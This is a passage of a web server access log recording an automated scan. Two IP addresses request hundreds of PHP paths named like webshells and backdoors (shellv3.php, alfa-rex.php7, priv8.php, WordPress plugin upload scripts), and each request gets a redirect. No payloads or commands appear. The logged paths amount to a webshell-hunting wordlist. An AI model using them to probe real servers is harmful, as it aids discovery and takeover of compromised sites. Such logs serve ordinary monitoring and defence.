Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:32 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:33 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:33 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:33 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:33 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:34 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:20:34 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:34 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:20:35 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:35 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:35 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:36 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:36 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:36 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:37 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 